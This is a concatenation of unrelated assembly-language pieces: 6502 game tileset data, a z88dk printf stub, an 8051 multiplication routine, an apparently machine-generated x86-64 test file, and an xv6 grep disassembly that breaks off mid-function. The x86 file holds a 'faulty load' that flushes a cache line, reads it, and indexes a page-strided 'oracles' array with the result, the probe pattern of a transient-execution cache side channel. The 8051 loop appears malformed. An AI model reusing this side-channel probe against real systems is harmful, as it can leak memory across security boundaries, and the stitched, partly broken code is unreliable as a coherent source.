.byt $00, $00, $00, $00, $00, $00, $00, $00
.byt $ff, $ff, $ff, $ff, $ff, $ff, $ff, $ff
; Solid 3
.byt $ff, $ff, $ff, $ff, $ff, $ff, $ff, $ff
.byt $ff, $ff, $ff, $ff, $ff, $ff, $ff, $ff
; Ground stones
; Pattern
; $01 $02
; $03 $04
.byt %11111111, %11110000, %11101111, %11110000, %10000000, %10000000, %10000000, %11000001
.byt %00000000, %00001111, %00011111, %00111111, %01111111, %01111111, %01111111, %00111110
.byt %11100011, %11011101, %11000010, %01100000, %01110001, %11001111, %10110111, %10000011
.byt %00011100, %00111110, %10111111, %10011111, %10001110, %00110000, %01111000, %01111100
.byt %11100011, %11111111, %11000111, %10111111, %10000001, %11000001, %11100011, %11111111
.byt %00011100, %00000000, %00111000, %01111100, %01111110, %00111110, %00011100, %00000000
.byt %11000011, %11100111, %11111111, %10111011, %01000101, %00000001, %10000011, %11111111
.byt %00111100, %00011000, %00000000, %01111100, %11111110, %11111110, %01111100, %00000000
; Upper grass
.byt %00000000, %00000010, %00000001, %00001001, %01000000, %00010110, %00100000, %10000000
.byt %00000000, %00000000, %00000010, %00000010, %00001011, %01001001, %01011111, %01111111
.byt %00000000, %00000000, %00010000, %00000000, %10100100, %00000000, %01001010, %00000000
.byt %00000000, %00000000, %00000000, %00010000, %00010000, %10110100, %10110100, %11111111
; Under grass
.byt %00000000, %00000000, %10001100, %10100110, %11000110, %11111111, %11111111, %11111111
.byt %11111111, %11111111, %01110011, %11011101, %11111111, %11101111, %11111111, %11111111
.byt %00000000, %00000000, %00001000, %00011001, %00011101, %10011111, %10111111, %11111111
.byt %11111111, %11111111, %11110111, %11101110, %11101011, %01111101, %11011111, %11111111
; Cloud
; Pattern
; $2b $2c
; $2d $2e $2f $30
.byt %00000000, %00000000, %00000000, %00000000, %00000000, %00001110, %01111111, %11110001
.byt %00000000, %00000000, %00000000, %00000000, %00000000, %00000000, %00000000, %00001110
.byt %00000000, %00000000, %00000000, %00000000, %00000000, %00000000, %10000000, %11000000
.byt %00000000, %00000000, %00000000, %00000000, %00000000, %00000000, %00000000, %00000000
.byt %00000000, %00001100, %00011111, %01110011, %11100110, %00001001, %00111111, %00011100
.byt %00000000, %00000000, %00000000, %00001100, %00011001, %01110110, %00111111, %00011100
.byt %00011101, %01111111, %11100010, %10001100, %00010010, %00000011, %11111111, %01111100
.byt %00000000, %00000000, %00011101, %01110011, %11101101, %11111111, %11111111, %01111100
.byt %10000000, %00110011, %01001000, %00010010, %00101000, %00001111, %11111111, %11110000
.byt %01111111, %11001100, %10110111, %11101101, %11010111, %11111111, %11111111, %11110000
.byt %01110000, %00111100, %10001110, %01100011, %10010000, %00011100, %11111000, %11100000
.byt %10000000, %11000000, %01110000, %10011100, %01101110, %11111100, %11111000, %11100000
; Ground stones #2
.byt %11111111, %11000111, %10111011, %10000101, %10000001, %10000001, %11000000, %11000000
.byt %00000000, %00111000, %01111100, %01111110, %01111110, %01111110, %00111111, %00111111
.byt %11111111, %11111111, %11000111, %10110011, %10001011, %10000111, %11001111, %11111111
.byt %00000000, %00000000, %00111000, %01111100, %01111100, %01111000, %00110000, %00000000
.byt %11100001, %11110011, %11111111, %11000011, %10011001, %11000101, %11110011, %11111111
.byt %00011110, %00001100, %00000000, %00111100, %01111110, %00111110, %00001100, %00000000
.byt %10000001, %00111100, %01000010, %00000001, %10000011, %11111111, %11111111, %11111111
.byt %01111110, %11111111, %11111111, %11111110, %01111100, %00000000, %00000000, %00000000
; Podium
;
; Full picture layout
; 00 01 01 02 03 04 05 06 07 08
; 09 0a 0b 0c 0d 0e 0f 10 11 12 13 14
.byt %00000000, %00000000, %00000000, %00000000, %00000000, %00001111, %11111111, %11111111
.byt %00000000, %00000000, %00000000, %00000000, %00000000, %00000000, %00001111, %01110000
.byt %00000000, %00000000, %00000000, %00000000, %00000000, %11111111, %11111111, %11111111
.byt %00000000, %00000000, %00000000, %00000000, %00000000, %00000000, %11111111, %00000000
.byt %00000000, %00000000, %00000000, %00000000, %00000000, %11111000, %11111111, %11111111
.byt %00000000, %00000000, %00000000, %00000000, %00000000, %00000000, %11111000, %00000111
.byt %00000000, %01111111, %01111111, %01111111, %01111111, %01111111, %11111111, %11111111
.byt %00000000, %00000000, %00000000, %00111111, %00111111, %00111111, %00111111, %10111111
.byt %11111111, %11111111, %11111111, %11111111, %11111000, %11111100, %11111111, %11110000
.byt %00000000, %11111111, %11111111, %00000000, %11111111, %11111111, %11111111, %11111111
.byt %11111111, %11111111, %11111111, %11111111, %01111111, %01000111, %01001111, %11111111
.byt %00000000, %11111111, %11111111, %00000000, %11111111, %10111110, %10111100, %01111010
.byt %11111111, %11111111, %11111111, %11111111, %11111100, %11000100, %11100101, %11111110
.byt %00000000, %11111111, %11111111, %00000000, %11111111, %11111011, %11111011, %11111101
.byt %11111111, %11111111, %11111111, %11111111, %00111111, %01111111, %11111111, %00011111
.byt %00000000, %11111111, %11111111, %00000000, %11111111, %11111111, %11111111, %11111111
.byt %00000000, %11111110, %11111110, %11111110, %11111110, %11111110, %11111110, %11111110
.byt %00000000, %00000000, %00000000, %11111100, %11111100, %11111100, %11111100, %11111100
.byt %11111111, %11111111, %11111111, %11111111, %11111111, %11111111, %11111111, %11111111
.byt %01111111, %01111111, %01111111, %01111111, %01111111, %01111111, %01111111, %00000000
.byt %11111111, %11111111, %11111111, %11111111, %11111111, %11111111, %11111111, %11111111
.byt %11111111, %11111100, %11111111, %11111110, %11111101, %11111100, %11111111, %00000000
.byt %11111111, %11111111, %11111111, %11111111, %11111111, %11111111, %11111111, %11111111
.byt %11111111, %01111111, %10111111, %01111111, %11111111, %00111111, %11111111, %00000000
.byt %11111111, %11111111, %11111111, %11111111, %11111111, %11111111, %11111111, %11111111
.byt %11111111, %11111111, %11111111, %11111111, %11111111, %11111111, %11111111, %00000000
.byt %11111111, %11111111, %11111111, %11111111, %11111111, %11111111, %11111111, %11111111
.byt %10111111, %10111111, %10111111, %10111111, %10111111, %10111111, %10111111, %00000000
.byt %11111000, %11111111, %11111001, %11110000, %11111110, %11111100, %11111110, %11111111
.byt %11111111, %11111110, %11111110, %11111111, %11111111, %11111111, %11111111, %00000000
.byt %10011111, %00111111, %11001111, %10001111, %10011111, %01111111, %11111111, %11111111
.byt %01111110, %11111110, %11111110, %01111110, %01111000, %10111111, %11011111, %00000000
.byt %11110010, %11111001, %11100111, %11100010, %11110010, %11111100, %11111110, %11111111
.byt %11111101, %11111110, %11111110, %11111101, %00111101, %11111011, %11110111, %00000000
.byt %00111111, %11111111, %00111111, %00011111, %11111111, %01111111, %11111111, %11111111
.byt %11111111, %11111111, %11111111, %11111111, %11111111, %11111111, %11111111, %00000000
.byt %11111110, %11111111, %11111111, %11111111, %11111111, %11111111, %11111111, %11111111
.byt %11111100, %11111100, %11111101, %11111101, %11111101, %11111101, %11111101, %00000000
.byt %01111111, %11111111, %11111111, %11111111, %11111111, %11111111, %11111111, %11111111
.byt %00000000, %01111111, %10000000, %11111111, %11111111, %11111111, %11111111, %00000000
.byt %11111100, %11111111, %11111111, %11111111, %11111111, %11111111, %11111111, %11111111
.byt %00000000, %11111100, %00000010, %11111110, %11111110, %11111110, %11111110, %00000000
; Smooth platform
;
; 30330030
; 23223323
; 32232232
; 13313313
; 11111111
; 00000000
; 00000000
; 00000000
.byt %10000010, %01010101, %00101000, %10110101, %11111111, %00000000, %00000000, %00000000
.byt %00000000, %10000010, %11010111, %01001010, %10110101, %00000000, %00000000, %00000000
tileset_green_grass_end:
|
MODULE __printf_handle_d
SECTION code_clib
PUBLIC __printf_handle_d
EXTERN __printf_number
__printf_handle_d:
ld c,1 ;signed
jp __printf_number
|
; Multiplication using repeated addition
mov r0, #4
mov r1, #2
mov a, #0
mov r4, #0
loop:
add a, r0
jnc no_carry
inc r4
no_carry:
djnz loop
mov r3, a
end
|
.global s_prepare_buffers
s_prepare_buffers:
push %r10
push %r12
push %r14
push %rax
push %rbx
push %rcx
push %rdi
push %rdx
push %rsi
lea addresses_A_ht+0x18db, %rax
nop
nop
cmp %r14, %r14
mov $0x6162636465666768, %rdx
movq %rdx, %xmm2
movups %xmm2, (%rax)
nop
nop
nop
xor $61225, %rsi
lea addresses_normal_ht+0x1912b, %rax
nop
nop
xor %r12, %r12
vmovups (%rax), %ymm4
vextracti128 $1, %ymm4, %xmm4
vpextrq $1, %xmm4, %rbx
nop
and $14359, %r14
lea addresses_UC_ht+0x1c06b, %rbx
nop
nop
nop
nop
nop
and $26575, %r10
mov $0x6162636465666768, %rax
movq %rax, %xmm1
vmovups %ymm1, (%rbx)
sub $49307, %rax
lea addresses_D_ht+0x1e26b, %rsi
nop
inc %rdx
mov (%rsi), %r12d
nop
nop
and %rsi, %rsi
lea addresses_A_ht+0xb81f, %r12
nop
cmp %rbx, %rbx
mov $0x6162636465666768, %rsi
movq %rsi, (%r12)
nop
nop
nop
nop
nop
xor %rax, %rax
lea addresses_WC_ht+0xdbeb, %rsi
lea addresses_WT_ht+0x1b1eb, %rdi
xor $2908, %r12
mov $10, %rcx
rep movsq
nop
nop
cmp $18794, %rax
lea addresses_D_ht+0x217b, %r12
nop
nop
nop
nop
nop
inc %rcx
mov $0x6162636465666768, %rdi
movq %rdi, %xmm7
vmovups %ymm7, (%r12)
nop
nop
nop
nop
nop
and %r14, %r14
lea addresses_WC_ht+0x16773, %rdx
nop
nop
nop
nop
nop
add $43385, %rax
mov (%rdx), %r10
nop
nop
nop
nop
add $880, %rcx
lea addresses_D_ht+0x164db, %rsi
lea addresses_WC_ht+0x1c6ab, %rdi
nop
nop
nop
nop
nop
xor $36530, %rdx
mov $63, %rcx
rep movsq
nop
xor $50323, %rcx
lea addresses_WT_ht+0x107eb, %rsi
lea addresses_normal_ht+0xbe2b, %rdi
nop
cmp %r14, %r14
mov $9, %rcx
rep movsq
and %rbx, %rbx
lea addresses_D_ht+0x1c0d3, %r12
nop
nop
cmp %rdi, %rdi
vmovups (%r12), %ymm0
vextracti128 $0, %ymm0, %xmm0
vpextrq $1, %xmm0, %rbx
add %r12, %r12
lea addresses_WT_ht+0xb36b, %r12
nop
sub $27548, %rbx
movups (%r12), %xmm2
vpextrq $1, %xmm2, %rdx
nop
xor %rcx, %rcx
pop %rsi
pop %rdx
pop %rdi
pop %rcx
pop %rbx
pop %rax
pop %r14
pop %r12
pop %r10
ret
.global s_faulty_load
s_faulty_load:
push %r11
push %r14
push %rcx
push %rdi
push %rdx
// Faulty Load
lea addresses_PSE+0x1c3eb, %rdx
clflush (%rdx)
nop
nop
nop
nop
nop
sub %r11, %r11
vmovups (%rdx), %ymm5
vextracti128 $0, %ymm5, %xmm5
vpextrq $1, %xmm5, %rcx
lea oracles, %rdi
and $0xff, %rcx
shlq $12, %rcx
mov (%rdi,%rcx,1), %rcx
pop %rdx
pop %rdi
pop %rcx
pop %r14
pop %r11
ret
/*
<gen_faulty_load>
[REF]
{'src': {'same': False, 'congruent': 0, 'NT': False, 'type': 'addresses_PSE', 'size': 16, 'AVXalign': False}, 'OP': 'LOAD'}
[Faulty Load]
{'src': {'same': True, 'congruent': 0, 'NT': False, 'type': 'addresses_PSE', 'size': 32, 'AVXalign': False}, 'OP': 'LOAD'}
<gen_prepare_buffer>
{'OP': 'STOR', 'dst': {'same': True, 'congruent': 2, 'NT': False, 'type': 'addresses_A_ht', 'size': 16, 'AVXalign': False}}
{'src': {'same': False, 'congruent': 1, 'NT': False, 'type': 'addresses_normal_ht', 'size': 32, 'AVXalign': False}, 'OP': 'LOAD'}
{'OP': 'STOR', 'dst': {'same': False, 'congruent': 7, 'NT': False, 'type': 'addresses_UC_ht', 'size': 32, 'AVXalign': False}}
{'src': {'same': False, 'congruent': 7, 'NT': True, 'type': 'addresses_D_ht', 'size': 4, 'AVXalign': False}, 'OP': 'LOAD'}
{'OP': 'STOR', 'dst': {'same': False, 'congruent': 1, 'NT': False, 'type': 'addresses_A_ht', 'size': 8, 'AVXalign': False}}
{'src': {'type': 'addresses_WC_ht', 'congruent': 10, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_WT_ht', 'congruent': 9, 'same': True}}
{'OP': 'STOR', 'dst': {'same': False, 'congruent': 4, 'NT': False, 'type': 'addresses_D_ht', 'size': 32, 'AVXalign': False}}
{'src': {'same': False, 'congruent': 3, 'NT': False, 'type': 'addresses_WC_ht', 'size': 8, 'AVXalign': False}, 'OP': 'LOAD'}
{'src': {'type': 'addresses_D_ht', 'congruent': 3, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_WC_ht', 'congruent': 6, 'same': False}}
{'src': {'type': 'addresses_WT_ht', 'congruent': 6, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_normal_ht', 'congruent': 1, 'same': False}}
{'src': {'same': False, 'congruent': 1, 'NT': False, 'type': 'addresses_D_ht', 'size': 32, 'AVXalign': False}, 'OP': 'LOAD'}
{'src': {'same': True, 'congruent': 6, 'NT': False, 'type': 'addresses_WT_ht', 'size': 16, 'AVXalign': False}, 'OP': 'LOAD'}
{'33': 21829}
33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33
*/
|
_grep: file format elf32-i386
Disassembly of section .text:
00000000 <matchstar>:
return 0;
}
// matchstar: search for c*re at beginning of text
int matchstar(int c, char *re, char *text)
{
0: 55 push %ebp
1: 89 e5 mov %esp,%ebp
3: 57 push %edi
4: 56 push %esi
5: 53 push %ebx
6: 83 ec 0c sub $0xc,%esp
9: 8b 75 08 mov 0x8(%ebp),%esi
c: 8b 7d 0c mov 0xc(%ebp),%edi
f: 8b 5d 10 mov 0x10(%ebp),%ebx
do{ // a * matches zero or more instances
if(matchhere(re, text))
12: 83 ec 08 sub $0x8,%esp
15: 53 push %ebx
16: 57 push %edi
17: e8 2c 00 00 00 call 48 <matchhere>
1c: 83 c4 10 add $0x10,%esp
1f: 85 c0 test %eax,%eax
21: 75 18 jne 3b <matchstar+0x3b>
return 1;
}while(*text!='\0' && (*text++==c || c=='.'));
23: 0f b6 13 movzbl (%ebx),%edx
26: 84 d2 test %dl,%dl
28: 74 16 je 40 <matchstar+0x40>
2a: 83 c3 01 add $0x1,%ebx
2d: 0f be d2 movsbl %dl,%edx
30: 39 f2 cmp %esi,%edx
32: 74 de je 12 <matchstar+0x12>
34: 83 fe 2e cmp $0x2e,%esi
37: 74 d9 je 12 <matchstar+0x12>
39: eb 05 jmp 40 <matchstar+0x40>
return 1;
3b: b8 01 00 00 00 mov $0x1,%eax
return 0;
}
40: 8d 65 f4 lea -0xc(%ebp),%esp
43: 5b pop %ebx
44: 5e pop %esi
45: 5f pop %edi
46: 5d pop %ebp
47: c3 ret
00000048 <matchhere>:
{
48: 55 push %ebp
49: 89 e5 mov %esp,%ebp
4b: 83 ec 08 sub $0x8,%esp
4e: 8b 55 08 mov 0x8(%ebp),%edx
if(re[0] == '\0')
51: 0f b6 02 movzbl (%edx),%eax
54: 84 c0 test %al,%al
56: 74 68 je c0 <matchhere+0x78>
if(re[1] == '*')
58: 0f b6 4a 01 movzbl 0x1(%edx),%ecx
5c: 80 f9 2a cmp $0x2a,%cl
5f: 74 1d je 7e <matchhere+0x36>
if(re[0] == '$' && re[1] == '\0')
61: 3c 24 cmp $0x24,%al
63: 74 31 je 96 <matchhere+0x4e>
if(*text!='\0' && (re[0]=='.' || re[0]==*text))
65: 8b 4d 0c mov 0xc(%ebp),%ecx
68: 0f b6 09 movzbl (%ecx),%ecx
6b: 84 c9 test %cl,%cl
6d: 74 58 je c7 <matchhere+0x7f>
6f: 3c 2e cmp $0x2e,%al
71: 74 35 je a8 <matchhere+0x60>
73: 38 c8 cmp %cl,%al
75: 74 31 je a8 <matchhere+0x60>
return 0;
77: b8 00 00 00 00 mov $0x0,%eax
7c: eb 47 jmp c5 <matchhere+0x7d>
return matchstar(re[0], re+2, text);
7e: 83 ec 04 sub $0x4,%esp
81: ff 75 0c pushl 0xc(%ebp)
84: 83 c2 02 add $0x2,%edx
87: 52 push %edx
88: 0f be c0 movsbl %al,%eax
8b: 50 push %eax
8c: e8 6f ff ff ff call 0 <matchstar>
91: 83 c4 10 add $0x10,%esp
94: eb 2f jmp c5 <matchhere+0x7d>
if(re[0] == '$' && re[1] == '\0')
96: 84 c9 test %cl,%cl
98: 75 cb jne 65 <matchhere+0x1d>
return *text == '\0';
9a: 8b 45 0c mov 0xc(%ebp),%eax
9d: 80 38 00 cmpb $0x0,(%eax)
a0: 0f 94 c0 sete %al
a3: 0f b6 c0 movzbl %al,%eax
a6: eb 1d jmp c5 <matchhere+0x7d>
return matchhere(re+1, text+1);
a8: 83 ec 08 sub $0x8,%esp
ab: 8b 45 0c mov 0xc(%ebp),%eax
ae: 83 c0 01 add $0x1,%eax
b1: 50 push %eax
b2: 83 c2 01 add $0x1,%edx
b5: 52 push %edx
b6: e8 8d ff ff ff call 48 <matchhere>
bb: 83 c4 10 add $0x10,%esp
be: eb 05 jmp c5 <matchhere+0x7d>
return 1;
c0: b8 01 00 00 00 mov $0x1,%eax
}
c5: c9 leave
c6: c3 ret
return 0;
c7: b8 00 00 00 00 mov $0x0,%eax
cc: eb f7 jmp c5 <matchhere+0x7d>
000000ce <match>:
{
ce: 55 push %ebp
cf: 89 e5 mov %esp,%ebp
d1: 56 push %esi
d2: 53 push %ebx
d3: 8b 75 08 mov 0x8(%ebp),%esi
d6: 8b 5d 0c mov 0xc(%ebp),%ebx
if(re[0] == '^')
d9: 80 3e 5e cmpb $0x5e,(%esi)
dc: 75 14 jne f2 <match+0x24>
return matchhere(re+1, text);
de: 83 ec 08 sub $0x8,%esp
e1: 53 push %ebx
e2: 83 c6 01 add $0x1,%esi
e5: 56 push %esi
e6: e8 5d ff ff ff call 48 <matchhere>
eb: 83 c4 10 add $0x10,%esp
ee: eb 22 jmp 112 <match+0x44>
}while(*text++ != '\0');
f0: 89 d3 mov %edx,%ebx
if(matchhere(re, text))
f2: 83 ec 08 sub $0x8,%esp
f5: 53 push %ebx
f6: 56 push %esi
f7: e8 4c ff ff ff call 48 <matchhere>
fc: 83 c4 10 add $0x10,%esp
ff: 85 c0 test %eax,%eax
101: 75 0a jne 10d <match+0x3f>
}while(*text++ != '\0');
103: 8d 53 01 lea 0x1(%ebx),%edx
106: 80 3b 00 cmpb $0x0,(%ebx)
109: 75 e5 jne f0 <match+0x22>
10b: eb 05 jmp 112 <match+0x44>
return 1;
10d: b8 01 00 00 00 mov $0x1,%eax
}
112: 8d 65 f8 lea -0x8(%ebp),%esp
115: 5b pop %ebx
116: 5e pop %esi
117: 5d pop %ebp
118: c3 ret
00000119 <grep>:
{
119: 55 push %ebp
11a: 89 e5 mov %esp,%ebp
11c: 57 push %edi
11d: 56 push %esi
11e: 53 push %ebx
11f: 83 ec 0c sub $0xc,%esp
m = 0;
122: bf 00 00 00 00 mov $0x0,%edi
while((n = read(fd, buf+m, sizeof(buf)-m-1)) > 0){
127: eb 52 jmp 17b <grep+0x62>
p = q+1;
129: 8d 73 01 lea 0x1(%ebx),%esi
while((q = strchr(p, '\n')) != 0){
12c: 83 ec 08 sub $0x8,%esp
12f: 6a 0a push $0xa
131: 56 push %esi
132: e8 c9 01 00 00 call 300 <strchr>
137: 89 c3 mov %eax,%ebx
139: 83 c4 10 add $0x10,%esp
13c: 85 c0 test %eax,%eax
13e: 74 2f je 16f <grep+0x56>
*q = 0;
140: c6 03 00 movb $0x0,(%ebx)
if(match(pattern, p)){
143: 83 ec 08 sub $0x8,%esp
146: 56 push %esi
147: ff 75 08 pushl 0x8(%ebp)
14a: e8 7f ff ff ff call ce <match>
14f: 83 c4 10 add $0x10,%esp
152: 85 c0 test %eax,%eax
154: 74 d3 je 129 <grep+0x10>
*q = '\n';
156: c6 03 0a movb $0xa,(%ebx)
write(1, p, q+1 - p);
159: 8d 43 01 lea 0x1(%ebx),%eax
15c: 83 ec 04 sub $0x4,%esp
15f: 29 f0 sub %esi,%eax
161: 50 push %eax
162: 56 push %esi
163: 6a 01 push $0x1
165: e8 ce 02 00 00 call 438 <write>
16a: 83 c4 10 add $0x10,%esp
16d: eb ba jmp 129 <grep+0x10>
if(p == buf)
16f: 81 fe e0 0b 00 00 cmp $0xbe0,%esi
175: 74 52 je 1c9 <grep+0xb0>
if(m > 0){
177: 85 ff test %edi,%edi
179: 7f 31 jg 1ac <grep+0x93>
while((n = read(fd, buf+m, sizeof(buf)-m-1)) > 0){
17b: b8 ff 03 00 00 mov $0x3ff,%eax
180: 29 f8 sub %edi,%eax
182: 8d 97 e0 0b 00 00 lea 0xbe0(%edi),%edx
188: 83 ec 04 sub $0x4,%esp
18b: 50 push %eax
18c: 52 push %edx
18d: ff 75 0c pushl 0xc(%ebp)
190: e8 9b 02 00 00 call 430 <read>
195: 83 c4 10 add $0x10,%esp
198: 85 c0 test %eax,%eax
19a: 7e 34 jle 1d0 <grep+0xb7>
m += n;
19c: 01 c7 add %eax,%edi
buf[m] = '\0';
19e: c6 87 e0 0b 00 00 00 movb $0x0,0xbe0(%edi)
p = buf;
1a5: be e0 0b 00 00 mov $0xbe0,%esi
while((q = strchr(p, '\n')) != 0){
1aa: eb 80 jmp 12c <grep+0x13>
m -= p - buf;
1ac: 89 f0 mov %esi,%eax
1ae: 2d e0 0b 00 00 sub $0xbe0,%eax
1b3: 29 c7 sub %eax,%edi
memmove(buf, p, m);
1b5: 83 ec 04 sub $0x4,%esp
1b8: 57 push %edi
1b9: 56 push %esi
1ba: 68 e0 0b 00 00 push $0xbe0
1bf: e8 22 02 00 00 call 3e6 <memmove>
1c4: 83 c4 10 add $0x10,%esp
1c7: eb b2 jmp 17b <grep+0x62>
m = 0;
1c9: bf 00 00 00 00 mov $0x0,%edi
1ce: eb ab jmp 17b <grep+0x62>
}
1d0: 8d 65 f4 lea -0xc(%ebp),%esp
1d3: 5b pop %ebx
1d4: 5e pop %esi
1d5: 5f pop %edi
1d6: 5d pop %ebp
1d7: c3 ret
000001d8 <main>:
{
1d8: 8d 4c 24 04 lea 0x4(%esp),%ecx
1dc: 83 e4 f0 and $0xfffffff0,%esp
1df: ff 71 fc pushl -0x4(%ecx)
1e2: 55 push %ebp
1e3: 89 e5 mov %esp,%ebp
1e5: 57 push %edi
1e6: 56 push %esi
1e7: 53 push %ebx
1e8: 51 push %ecx
1e9: 83 ec 18 sub $0x18,%esp
1ec: 8b 01 mov (%ecx),%eax
1ee: 89 45 e4 mov %eax,-0x1c(%ebp)
1f1: 8b 51 04 mov 0x4(%ecx),%edx
1f4: 89 55 e0 mov %edx,-0x20(%ebp)
if(argc <= 1){
1f7: 83 f8 01 cmp $0x1,%eax
1fa: 7e 50 jle 24c <main+0x74>
pattern = argv[1];
1fc: 8b 45 e0 mov -0x20(%ebp),%eax
1ff: 8b 40 04 mov 0x4(%eax),%eax
202: 89 45 dc mov %eax,-0x24(%ebp)
if(argc <= 2){
205: 83 7d e4 02 cmpl $0x2,-0x1c(%ebp)
209: 7e 55 jle 260 <main+0x88>
for(i = 2; i < argc; i++){
20b: bb 02 00 00 00 mov $0x2,%ebx
210: 3b 5d e4 cmp -0x1c(%ebp),%ebx
213: 7d 71 jge 286 <main+0xae>
if((fd = open(argv[i], 0)) < 0){
215: 8b 45 e0 mov -0x20(%ebp),%eax
218: 8d 3c 98 lea (%eax,%ebx,4),%edi
21b: 83 ec 08 sub $0x8,%esp
21e: 6a 00 push $0x0
220: ff 37 pushl (%edi)
222: e8 31 02 00 00 call 458 <open>
227: 89 c6 mov %eax,%esi
229: 83 c4 10 add $0x10,%esp
22c: 85 c0 test %eax,%eax
22e: 78 40 js 270 <main+0x98>
grep(pattern, fd);
230: 83 ec 08 sub $0x8,%esp
233: 50 push %eax
234: ff 75 dc pushl -0x24(%ebp)
237: e8 dd fe ff ff call 119 <grep>
close(fd);
23c: 89 34 24 mov %esi,(%esp)
23f: e8 fc 01 00 00 call 440 <close>
for(i = 2; i < argc; i++){
244: 83 c3 01 add $0x1,%ebx
247: 83 c4 10 add $0x10,%esp
24a: eb c4 jmp 210 <main+0x38>
printf(2, "usage: grep pattern [file ...]\n");
24c: 83 ec 08 sub $0x8,%esp
24f: 68 24 08 00 00 push $0x824
254: 6a 02 push $0x2
256: e8 0f 03 00 00 call 56a <printf>
exit();
25b: e8 b8 01 00 00 call 418 <exit>
grep(pattern, 0);
260: 83 ec 08 sub $0x8,%esp
263: 6a 00 push $0x0
265: 50 push %eax
266: e8 ae fe ff ff call 119 <grep>
exit();
26b: e8 a8 01 00 00 call 418 <exit>
printf(1, "grep: cannot open %s\n", argv[i]);
270: 83 ec 04 sub $0x4,%esp
273: ff 37 pushl (%edi)
275: 68 44 08 00 00 push $0x844
27a: 6a 01 push $0x1
27c: e8 e9 02 00 00 call 56a <printf>
exit();
281: e8 92 01 00 00 call 418 <exit>
exit();
286: e8 8d 01 00 00 call 418 <exit>
0000028b <strcpy>:
#include "user.h"
#include "x86.h"
char*
strcpy(char *s, const char *t)
{
28b: 55 push %ebp
28c: 89 e5 mov %esp,%ebp
28e: 53 push %ebx
28f: 8b 45 08 mov 0x8(%ebp),%eax
292: 8b 4d 0c mov 0xc(%ebp),%ecx
char *os;
os = s;
while((*s++ = *t++) != 0)
295: 89 c2 mov %eax,%edx
297: 0f b6 19 movzbl (%ecx),%ebx
29a: 88 1a mov %bl,(%edx)
29c: 8d 52 01 lea 0x1(%edx),%edx
29f: 8d 49 01 lea 0x1(%ecx),%ecx
2a2: 84 db test %bl,%bl
2a4: 75 f1 jne 297 <strcpy+0xc>
;
return os;
}
2a6: 5b pop %ebx
2a7: 5d pop %ebp
2a8: c3 ret
000002a9 <strcmp>:
int
strcmp(const char *p, const char *q)
{
2a9: 55 push %ebp
2aa: 89 e5 mov %esp,%ebp
2ac: 8b 4d 08 mov 0x8(%ebp),%ecx
